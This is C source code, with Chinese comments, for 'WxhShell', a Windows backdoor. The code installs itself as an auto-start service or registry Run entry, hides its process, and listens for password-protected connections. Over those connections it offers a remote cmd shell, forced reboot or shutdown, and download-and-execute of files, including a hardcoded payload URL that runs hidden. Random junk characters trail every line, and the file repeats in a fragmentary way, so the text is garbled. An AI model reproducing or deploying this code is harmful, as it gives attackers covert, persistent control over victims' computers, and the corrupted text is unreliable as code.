    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $~1~+s0$  
    else { QU)AgF[  
    closesocket(wsh); $#J  
    ExitThread(0); @$o^(my  
    } ygqWy1C  
    break; XhJYsq]]J  
    } .:SY:v r  
  // 获取shell ?]58{O(?c  
  case 's': { '77Gg  
    CmdShell(wsh); 7qhX `$  
    closesocket(wsh); H\=S_b1wo  
    ExitThread(0); -JXCO <~k  
    break; 9Pdol!  
  } 2P?|'U  
  // 退出 Q::_i"?c  
  case 'x': { _Xfn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h09fU5l  
    CloseIt(wsh); S&Sa~Oq<o  
    break; CVGQ<,KVW  
    } -Dr)+Y  
  // 离开 OZ Hfd7K4A  
  case 'q': { +^ |=MK%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Iv>4o~t  
    closesocket(wsh); u 9kh@0  
    WSACleanup(); JS(%:  
    exit(1); DG 6W ^  
    break; :v8~'cZ  
        } $`|\aXd[C*  
  } >8w=Vlp  
  } e]3b0`E  
c+G%o8  
  // 提示信息 sN@=Ri?\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ko`KAU<T_  
} SfGl*2  
  } ?w>-ya  
/jd.<r=_I  
  return; N=TDywRI  
} `SG8w_  
(L !#2Jy  
// shell模块句柄  *#sY-Gd  
int CmdShell(SOCKET sock) )'axJ  
{ !mu1e=bY>  
STARTUPINFO si; U#kd cc|  
ZeroMemory(&si,sizeof(si)); ^eCMATE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?0'db  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )L$)qfQ~x  
PROCESS_INFORMATION ProcessInfo; >~rytg]f  
char cmdline[]="cmd"; 80Z'1'u0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rLI );!^-  
  return 0; }+GIrEDId  
} n]v,cfn/=<  
*ZV=4[#bT  
// 自身启动模式 +o}mV.&1,  
int StartFromService(void) _{y4N0  
{ 3KN})*1  
typedef struct kZ<"hsh,Y'  
{ v|;}}ol  
  DWORD ExitStatus; g I@I.=y  
  DWORD PebBaseAddress; 1\%2@NR  
  DWORD AffinityMask; `(lD]o{,s  
  DWORD BasePriority; fz W!-  
  ULONG UniqueProcessId; 9wpV} .(  
  ULONG InheritedFromUniqueProcessId; U$wD'v3pw  
}   PROCESS_BASIC_INFORMATION; t}f,j^`e  
~cb7]^#u1l  
PROCNTQSIP NtQueryInformationProcess; QK(w2`  
xcE<|0N :  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,2`FSL%J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )|E617g  
#;F*rJ[XY  
  HANDLE             hProcess; )o_Pnq9_  
  PROCESS_BASIC_INFORMATION pbi; 1'BC R  
`z?h=&N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6w4}4i  
  if(NULL == hInst ) return 0; [F}_Ime  
[IPXU9& Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2#`9OLu8X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cxn*!TwDs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !9vq"J~hz"  
>4]y)df5  
  if (!NtQueryInformationProcess) return 0; [^ eQGv[S  
T6I$7F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); raB', Vp  
  if(!hProcess) return 0; +`l)W`zX  
2HF_kYZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o$KW*aDp  
y}GFtRNG  
  CloseHandle(hProcess); BFn4H%1  
b!c2j   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I9O%/^5^[w  
if(hProcess==NULL) return 0; T1g3`7C3  
)5/,B-+O"  
HMODULE hMod; UA(&_-C\  
char procName[255]; F`RPXY`ux  
unsigned long cbNeeded; %SN"<O!  
tqwAS)v=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u/(~ew I  
8>a%L?BY  
  CloseHandle(hProcess); Ula h!s  
*8I &|)x  
if(strstr(procName,"services")) return 1; // 以服务启动 `xF^9;5mi  
Qk] ^]I  
  return 0; // 注册表启动 f7oJ6'K  
} Y [%<s/  
s|9[=JMG  
// 主模块 ND\M  
int StartWxhshell(LPSTR lpCmdLine) 2OsS+6,[x  
{ !6*m<#Qm  
  SOCKET wsl; W>y &  
BOOL val=TRUE; }5]7lGR  
  int port=0; '))K' u  
  struct sockaddr_in door; /#g P#Z%  
B*AB@  
  if(wscfg.ws_autoins) Install(); o3(:R0  
JXF0}T)C  
port=atoi(lpCmdLine); !YENJJ  
cN%@ nW0i  
if(port<=0) port=wscfg.ws_port; KK, t!a  
_o'a|=Osx>  
  WSADATA data; g1&>.V}!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EClx+tz;`  
\x<i6&.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T*jQzcm~?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6 }>CPi#  
  door.sin_family = AF_INET; i>%A0.9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (DY&{vudF  
  door.sin_port = htons(port); ]\(Ho  
\/F*JPhy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XWag+K  
closesocket(wsl); L*(`c cU  
return 1; G|.6%-  
} yyM`J7]J  
DLD5>  
  if(listen(wsl,2) == INVALID_SOCKET) { PpezWo)9  
closesocket(wsl); !Wz4BBU8o  
return 1; `CY c>n"  
} _t?#  
  Wxhshell(wsl); dry>TXG*  
  WSACleanup(); "X \Yp_g  
W?<<al*  
return 0; -1}&\=8M  
+,T z +!  
} >9<YQ(  
B ,U|V  
// 以NT服务方式启动 9Xh1i`.D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;*njS1@  
{ uP$C2glyz  
DWORD   status = 0; rVZlv3  
  DWORD   specificError = 0xfffffff; g9@H4y6fe=  
pch8A0JAl)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !p!^[/9"c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rUh2[z8:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @K\ hgaQ  
  serviceStatus.dwWin32ExitCode     = 0; W<>R;~)  
  serviceStatus.dwServiceSpecificExitCode = 0; W0XfU`  
  serviceStatus.dwCheckPoint       = 0; W5Vh+'3  
  serviceStatus.dwWaitHint       = 0; ]DjnzClx  
Scfe6+\EW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); </!GU*  
  if (hServiceStatusHandle==0) return; E?S  
^j7>Ul,  
status = GetLastError(); *JF7 B  
  if (status!=NO_ERROR) `Gh J)WA<  
{ ^J'O8G$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %#TAz7  
    serviceStatus.dwCheckPoint       = 0; fLZ mQO  
    serviceStatus.dwWaitHint       = 0; Q'rgh+6  
    serviceStatus.dwWin32ExitCode     = status; ^~^=$fz  
    serviceStatus.dwServiceSpecificExitCode = specificError; h?p!uQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {LBL8sG  
    return; lf#5X)V  
  } = OzpI  
r6vI6|1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~DP5Qi  
  serviceStatus.dwCheckPoint       = 0; IO7cRg'-F  
  serviceStatus.dwWaitHint       = 0; >?[?W|k7V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F0tcVdv  
} OV|n/~  
s*R UYx  
// 处理NT服务事件,比如:启动、停止 |f1RhB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X 4\V4_  
{ >dXB)yl  
switch(fdwControl) T%4yPmY  
{ >4bWXb'S}C  
case SERVICE_CONTROL_STOP: -ufaV#  
  serviceStatus.dwWin32ExitCode = 0; !uP8powO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \%_sL#?  
  serviceStatus.dwCheckPoint   = 0; mFt\xGa  
  serviceStatus.dwWaitHint     = 0; s9SUj^  
  { kRV]`'u,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oiOu169]  
  } iUq_vQ@} }  
  return; @H}{?-XyA  
case SERVICE_CONTROL_PAUSE: 5Gm8U"UR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NIHcX6Nw  
  break; U/ax`_  
case SERVICE_CONTROL_CONTINUE: pnUL+UYeM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  PZj}]d `  
  break; ']N\y6=fn9  
case SERVICE_CONTROL_INTERROGATE: 9M-W 1prb  
  break; ,/Q`gRBh"  
}; hqa6aYY x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <5zr|BTF]F  
} Zt}b}Bz  
-$I$zo  
// 标准应用程序主函数 EAHdt=8W{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9Y?``QBN  
{ 5 %+epzy  
G 2uM6  
// 获取操作系统版本 Z/q'^PB p  
OsIsNt=GetOsVer(); 2 ,krVb?<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?*6Q ;.f<  
ni6zo~+W]  
  // 从命令行安装 }(oWXwFb&W  
  if(strpbrk(lpCmdLine,"iI")) Install(); xeKm} MN]S  
\H 5t-w=  
  // 下载执行文件 8%p+:6kP5  
if(wscfg.ws_downexe) { ),H1z`c&I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E:;MI{;7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~MP/[,j`  
} EqOhzII^  
loUZD=Ph  
if(!OsIsNt) { Oj8D+sC{  
// 如果时win9x,隐藏进程并且设置为注册表启动 $`P]%I}  
HideProc(); :lu"14  
StartWxhshell(lpCmdLine); bI8')a  
} ^4xl4nbx  
else U+aiH U9  
  if(StartFromService()) &{q<  
  // 以服务方式启动 t"OP*  
  StartServiceCtrlDispatcher(DispatchTable); $ago  
else 7Rd(,eWE@  
  // 普通方式启动 qDgy7kkQ  
  StartWxhshell(lpCmdLine); goNDS5}  
bK{ VjXF  
return 0; &'Xgf!x  
} Kd\d>&b  
X9?0`6Li  
HY;kV6g{P  
/J9Or{#r  
=========================================== 0IZF%`  
X{:3UTBR  
,; Uf>8~  
 Hs6Kki1  
A@-U#UvN  
OTNI@jQ)  
" @'y8* _  
Df$~=A}  
#include <stdio.h> s[VYd:}se  
#include <string.h> M!X^2  
#include <windows.h> |io)?`pj  
#include <winsock2.h> - Rx;"J.H  
#include <winsvc.h> PEaZ3{-  
#include <urlmon.h> +G+1B6S  
7Hj7b:3K&!  
#pragma comment (lib, "Ws2_32.lib") yqR]9 "a  
#pragma comment (lib, "urlmon.lib") mQ9shdvt-  
'T7Y5X80$j  
#define MAX_USER   100 // 最大客户端连接数 <9c{Kt.5(  
#define BUF_SOCK   200 // sock buffer wk'&n^_br  
#define KEY_BUFF   255 // 输入 buffer >CwI(vXn  
Eo6qC?5<  
#define REBOOT     0   // 重启 . g-  HB'  
#define SHUTDOWN   1   // 关机 }}bMq.Q'  
X$?0C{@.}  
#define DEF_PORT   5000 // 监听端口 d(9-T@J  
AUES;2WL  
#define REG_LEN     16   // 注册表键长度 oE2VJKs<B  
#define SVC_LEN     80   // NT服务名长度 ~ _IQ:]k  
Z~[eG"6zI  
// 从dll定义API h")7kjM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \7%wJIeyx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HVzkS|^F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;=1[D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LBmXy8'T`  
fPstS ez   
// wxhshell配置信息 ^ > ?C  
struct WSCFG { ^/#8 "  
  int ws_port;         // 监听端口 h"'}Z^  
  char ws_passstr[REG_LEN]; // 口令 )1$H 7|  
  int ws_autoins;       // 安装标记, 1=yes 0=no JIqg[Mao  
  char ws_regname[REG_LEN]; // 注册表键名 K3h"oVn  
  char ws_svcname[REG_LEN]; // 服务名 L\!Oj5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `u_k?)lK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O}j@+p%M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 87m`K Str7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wtp=1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #%L_wJB-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o/[Ks;l  
1QnaZhu'  
}; ):A.A,skf  
_;:_ !`  
// default Wxhshell configuration }:QoYNq  
struct WSCFG wscfg={DEF_PORT, N vTp1kI]  
    "xuhuanlingzhe", G:` So  
    1, KC%&or  
    "Wxhshell", CrG!8}  
    "Wxhshell", J25/Iy*byG  
            "WxhShell Service", *SlWA)9 Y  
    "Wrsky Windows CmdShell Service", D-O{/  
    "Please Input Your Password: ", (cV1Pmn  
  1, -Owb@Nw  
  "http://www.wrsky.com/wxhshell.exe", 7Jd&9&O U  
  "Wxhshell.exe" J6ed  
    }; px(~ZZB"  
Lr(JnS  
// 消息定义模块 ="P FCxi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XqwP<5Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .F[5{XV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d/awQXKe7  
char *msg_ws_ext="\n\rExit."; P0U&+^W"9  
char *msg_ws_end="\n\rQuit."; 4ElS_u^cP7  
char *msg_ws_boot="\n\rReboot..."; C~'.3Q6  
char *msg_ws_poff="\n\rShutdown..."; 'pO-h,{TS  
char *msg_ws_down="\n\rSave to "; [fELf(;(  
V|*3*W  
char *msg_ws_err="\n\rErr!"; [57`V &c5  
char *msg_ws_ok="\n\rOK!"; x<@i3Y{[  
7]i6 Gk  
char ExeFile[MAX_PATH]; \< a^5'  
int nUser = 0; T)Q_dF.N  
HANDLE handles[MAX_USER]; "L8Hgwg  
int OsIsNt; Ekh)l0 l  
G({VK  
SERVICE_STATUS       serviceStatus; TI0=nfj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4 Lz[bI  
H+@?K6{h  
// 函数声明 ~:|V,1  
int Install(void); |cC&,8O:{  
int Uninstall(void); m Ph=bG  
int DownloadFile(char *sURL, SOCKET wsh); NRspi_&4J  
int Boot(int flag); Y{Lxo])e  
void HideProc(void); @gmo;8?k  
int GetOsVer(void); `-K[$V  
int Wxhshell(SOCKET wsl); NL2D,  
void TalkWithClient(void *cs); Q]/{6:C  
int CmdShell(SOCKET sock); %:Y(x$Qy  
int StartFromService(void); %*Vr}@BA)  
int StartWxhshell(LPSTR lpCmdLine); VW;E14  
M a3}w-=;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H6Gs&yk3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h##U=`x3  
n</Rd=  
// 数据结构和表定义 c>Ri6=C  
SERVICE_TABLE_ENTRY DispatchTable[] = =Lnip<t>ja  
{ sM%l:Fv  
{wscfg.ws_svcname, NTServiceMain}, 8-cuaa  
{NULL, NULL} qv |}>wU  
}; :"b:uQ  
Vn\jUEC  
// 自我安装 j0w@ \gO<  
int Install(void) 8:0,jnS  
{ Der'45]*^  
  char svExeFile[MAX_PATH]; fKtlfQG  
  HKEY key; txQr|\4k  
  strcpy(svExeFile,ExeFile); B(O6qWsL  
x5rLGt  
// 如果是win9x系统,修改注册表设为自启动 4Y4zBD=<  
if(!OsIsNt) { L:Mjd47L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -8d z`o}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +rhBC V  
  RegCloseKey(key); K}GR U)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kpNp}b8']  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tZFpxyF  
  RegCloseKey(key); 'Asr,[]?  
  return 0; @xBO[v  
    } yL -}E  
  } O`aNNy  
} \MPbG$ ^  
else { 2]FRIy d  
s I09X6)  
// 如果是NT以上系统,安装为系统服务 $Zkk14  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @gM}&G08  
if (schSCManager!=0) xVN!w\0  
{ 3Wx\Liw,  
  SC_HANDLE schService = CreateService C@<gCMj,"  
  ( 9E0x\%2K  
  schSCManager, FU.?n)P  
  wscfg.ws_svcname, F[W0gjUc  
  wscfg.ws_svcdisp, z+CX$.Z  
  SERVICE_ALL_ACCESS, <:mK&qu f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <(yAat$H  
  SERVICE_AUTO_START, Q("4R  
  SERVICE_ERROR_NORMAL, <P@O{Xi+K  
  svExeFile, ! CJ*zZ*  
  NULL,  3UKd=YsJ  
  NULL, Q}a(vlZ  
  NULL, G)_Zls2 ;  
  NULL, 1KR4Wq@  
  NULL <(V~eo e  
  ); ,WM-%2z^4I  
  if (schService!=0) lvNi/jk  
  { $xF[j9nM  
  CloseServiceHandle(schService); _N>#/v)Yi  
  CloseServiceHandle(schSCManager); _+~&t9A!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >hV 2p/D  
  strcat(svExeFile,wscfg.ws_svcname); VWzuV&;P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j%J>LeTca  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;18u02z^  
  RegCloseKey(key); /Ei e5p  
  return 0; |2rOV&@l9  
    } 'C#[iRG4  
  } wjgFe]  
  CloseServiceHandle(schSCManager); \'iy(8i  
} ]!a?Lr  
} 9wO2`e )  
/Nob S'd  
return 1; fL]jk1.Xv-  
} ]^i^L  
]9JH.fF  
// 自我卸载 BN FYUcVP  
int Uninstall(void) S_RP& +!7  
{ |Q";a:&$  
  HKEY key; ,e'"SVQc  
M=SrZ,W  
if(!OsIsNt) { >J_ P[v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {))Cb9'  
  RegDeleteValue(key,wscfg.ws_regname); |YfJ#Agm+  
  RegCloseKey(key); ?[Ma" l>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q~P|=*  
  RegDeleteValue(key,wscfg.ws_regname); GhjqStjS&l  
  RegCloseKey(key); {K?e6-N(z  
  return 0; >J)4e~9EJ2  
  } 'iDkAmvD  
} vL^ +X`.td  
} y=[{:  
else { h(4\k?C5  
jpoNTl'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {LCKt/Z>P  
if (schSCManager!=0) x~{W(;`!  
{ N%1nii  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UdA,.C0  
  if (schService!=0)  x\VP X  
  { bk a%W@Y%  
  if(DeleteService(schService)!=0) { Fdq5:v?k  
  CloseServiceHandle(schService); !C^>tmqS  
  CloseServiceHandle(schSCManager); IR;3{o  
  return 0; oEj$xm_}  
  } x-4d VKE*z  
  CloseServiceHandle(schService); v$5D&Tv  
  } { 9\/aXPS  
  CloseServiceHandle(schSCManager); 2t45/:,  
} .C ,dV7  
} b^P\Q s*m  
H\9ePo\b~  
return 1; |B64%w>Y  
} 036QV M$  
bqx2lQf,_  
// 从指定url下载文件 HEhBOER?  
int DownloadFile(char *sURL, SOCKET wsh) )p:+!sX(  
{ _Vt(Eg_\  
  HRESULT hr; I9`ZK2S  
char seps[]= "/"; \g)?7>M|  
char *token; :m/qR74+"  
char *file; GJHJ?^%  
char myURL[MAX_PATH]; f;Ijl0d@  
char myFILE[MAX_PATH]; p1mAoVxR  
>RpMw!NT  
strcpy(myURL,sURL); k72NXagh  
  token=strtok(myURL,seps); YNKvR  
  while(token!=NULL) y|3("&)"S  
  { *O)i)["  
    file=token; iWW >]3Q  
  token=strtok(NULL,seps); 4%JJ} {Ff  
  } UQ@szE  
&0J8I Cd=  
GetCurrentDirectory(MAX_PATH,myFILE); 3v`@**  
strcat(myFILE, "\\"); \YF07L]qs-  
strcat(myFILE, file); KDA2 H>  
  send(wsh,myFILE,strlen(myFILE),0); s vS)7]{cU  
send(wsh,"...",3,0); {/>uc,8O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >*n4j:  
  if(hr==S_OK) EV-# E  
return 0; [8oX[oP  
else wL6G&6]</W  
return 1; ;ZP!:,  
, E$f"  
} Q]VG6x  
~lqNWL^l  
// 系统电源模块 j7NOYm5N  
int Boot(int flag) Z J1@z.  
{ !:tr\L {  
  HANDLE hToken; ld 1[Usaq  
  TOKEN_PRIVILEGES tkp; <JvYCWX`  
cjd-B:l  
  if(OsIsNt) { S?VKzVDB.S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2t>>08T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y>d`cRy  
    tkp.PrivilegeCount = 1; Wc;N;K52   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'UZ i>Ta  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <yvo<R^30  
if(flag==REBOOT) { B[+b%a3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u^WZsW  
  return 0; %|j`;gYV  
} MfKru,LSh  
else { NJOV!\k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6KPjZC<  
  return 0; TB84}  
} &SPr#OkW  
  } ilZ5a&X;  
  else { !0):g/2h  
if(flag==REBOOT) { &+ H\ST(/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I'N!j>5oX  
  return 0; "1%k"+&  
} <DII%7q,6/  
else { PGVP0H+RV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U#XW}T=|  
  return 0; l\d[S]  
} E33x)CP  
} ng6E &<Z  
yC4%z) t&R  
return 1; frV_5yK'  
} #BZ5Mxzj  
G(t&(t`[  
// win9x进程隐藏模块 t~!ag#3['.  
void HideProc(void) Y|W#VyM-  
{ d(| 4 +^>  
5-S-r9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `FX?P`\@I  
  if ( hKernel != NULL ) -Hy> z  
  { *e<'|Kq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %>y!N!.F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VMNdC}  
    FreeLibrary(hKernel);  J&+"  
  } O~6AX)|&=  
Xd1+?2  
return; ~L> &p  
} +8GxX$  
Gvr>n@n  
// 获取操作系统版本 '] _7Xa'  
int GetOsVer(void) t_(S e  
{ :r{W)(mm  
  OSVERSIONINFO winfo; _eH@G(W(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w[ )HQ1K  
  GetVersionEx(&winfo); DQ0 UY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GpR,n2  
  return 1; JxM32?Rm*w  
  else `/WOP`'zM  
  return 0; 2+R]q35-  
} $:onKxVM  
*GdJ<B$  
// 客户端句柄模块 %0 U@k!lP  
int Wxhshell(SOCKET wsl) 3jto$_3'w  
{ FR]uCH  
  SOCKET wsh; %Rk0sfLvn  
  struct sockaddr_in client; 2o W'B^-  
  DWORD myID; DLe>EU;vS  
]xIgP%  
  while(nUser<MAX_USER) c]ga) A(  
{ ww'B!Ml>F  
  int nSize=sizeof(client); ^nQJo"g\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d/YQ6oKU  
  if(wsh==INVALID_SOCKET) return 1; h_g "F@  
L%pAEoSG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7&L8zl|K  
if(handles[nUser]==0) >Tn[CgH]7  
  closesocket(wsh); KQ(S\  
else S>"C}F$X  
  nUser++; @]EdUzzKq  
  } @ W q8AFo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UyF;sw  
\Z~ <jv  
  return 0; l9H-N*Wx  
} X6?Gxf,  
yDpv+6(a  
// 关闭 socket t6)R 37  
void CloseIt(SOCKET wsh) 1Eryw~,,9i  
{ a<((\c_8G  
closesocket(wsh); *;lb<uLv  
nUser--; xz7CnW1  
ExitThread(0); RGY#0.Z}  
} bPl'?3  
/u"Iq8QA  
// 客户端请求句柄 !wro7ilMB  
void TalkWithClient(void *cs) jd`]]FAww  
{ NG4@L1f%  
SF[Z]|0gs  
  SOCKET wsh=(SOCKET)cs; 9G6auk.m.O  
  char pwd[SVC_LEN]; Dd$8{~h"G  
  char cmd[KEY_BUFF]; azTiY@/  
char chr[1]; ZMK1V)ohn  
int i,j; kkj_k:Eah  
zT hut!O  
  while (nUser < MAX_USER) { e)F_zX  
KT<N ;[;  
if(wscfg.ws_passstr) { ItAC=/(d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xxm7s S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5?E;Yy A  
  //ZeroMemory(pwd,KEY_BUFF); ZCfd<NS?  
      i=0; %r:4'$E7|  
  while(i<SVC_LEN) { X{h[    
2D3mTpw  
  // 设置超时 Ka"1gbJ|  
  fd_set FdRead; iciRlx.$c  
  struct timeval TimeOut; z qd1G(tO  
  FD_ZERO(&FdRead); HLE%f;  
  FD_SET(wsh,&FdRead); MA7&fNjB  
  TimeOut.tv_sec=8; #vPk XcP  
  TimeOut.tv_usec=0; =]<X6!0mR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x\G<R; Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X: Be'  
O@LUM{\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RF\h69]:I  
  pwd=chr[0]; s-l3_210  
  if(chr[0]==0xd || chr[0]==0xa) { C"h7'+Kw  
  pwd=0; $@WA}\D  
  break; >vuR:4B  
  } U8zs=tA  
  i++; }</"~Kw!  
    } m`@~ZIa?>B  
',6d0>4 *  
  // 如果是非法用户,关闭 socket xQqZi b5I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G4uOY?0N  
} 48 mTL+*  
ZYz8ul$E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;#7:}>}rO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); id/y_ekfP  
df$pT?o  
while(1) { *uF Iw}C/  
01+TVWKX  
  ZeroMemory(cmd,KEY_BUFF); C3C&hq\%  
`O?j -zR  
      // 自动支持客户端 telnet标准   W{kTM4  
  j=0; [Lf8*U"  
  while(j<KEY_BUFF) { 4&B|rf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S&'-wA Ed  
  cmd[j]=chr[0]; LO)QEUG  
  if(chr[0]==0xa || chr[0]==0xd) { zR}vR9Ls  
  cmd[j]=0; tz%H1 `  
  break; z*N%kcw"  
  } Z$K[e  
  j++; $oi8 <8Y  
    } Ga;Lm?6-  
>i2WYT  
  // 下载文件 In}~bNv?  
  if(strstr(cmd,"http://")) { ;O({|mpS\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Z3]Dk;y  
  if(DownloadFile(cmd,wsh)) nTz( {q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZgxpHo  
  else l_T5KV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8oP"?ew#  
  } MAgoxq~;V  
  else { n<>]7-  
K- TLzoYA  
    switch(cmd[0]) { en16hd>^W:  
  AD"L>7  
  // 帮助 &3YXDNm  
  case '?': { rmhL|! Y  
